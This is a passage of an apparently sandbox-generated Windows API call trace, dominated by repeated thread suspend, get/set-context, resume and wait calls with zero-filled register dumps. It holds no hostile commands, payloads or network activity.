[187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.602] ResumeThread (hThread=0x1d8) returned 0x1 [0172.602] CloseHandle (hObject=0x1d8) returned 1 [0172.602] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.710] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.866] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1dc) returned 1 [0172.866] SuspendThread (hThread=0x1dc) returned 0x0 [0172.866] GetThreadContext (in: hThread=0x1dc, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000372ea0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8474e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.870] SetThreadContext (hThread=0x1dc, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000372e98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.871] ResumeThread (hThread=0x1dc) returned 0x1 [0172.871] CloseHandle (hObject=0x1dc) returned 1 [0172.871] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.947] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.948] timeEndPeriod (uPeriod=0x1) returned 0x0 [0172.948] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x73ca) returned 0x0 [0173.112] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0173.112] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0173.122] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0173.361] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0173.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0173.563] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1dc) returned 1 [0173.563] SuspendThread (hThread=0x1dc) returned 0x0 [0173.564] GetThreadContext (in: hThread=0x1dc, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d5c20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc3e400, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0173.564] SetThreadContext (hThread=0x1dc, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d5c18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0173.565] ResumeThread (hThread=0x1dc) returned 0x1 [0173.565] CloseHandle (hObject=0x1dc) returned 1 [0173.565] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0173.668] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0173.759] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0173.760] timeEndPeriod (uPeriod=0x1) returned 0x0 [0173.761] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0174.364] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.364] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.375] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x74f1) returned 0x0 [0174.476] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.476] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.481] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0174.521] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.521] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.529] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7520) returned 0x0 [0174.663] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.663] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.686] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0174.712] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.713] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.721] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.721] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x7520) returned 0x0 [0174.794] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.795] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0174.799] timeEndPeriod (uPeriod=0x1) returned 0x0 [0174.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0174.842] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0174.842] NtWaitForSingleObject 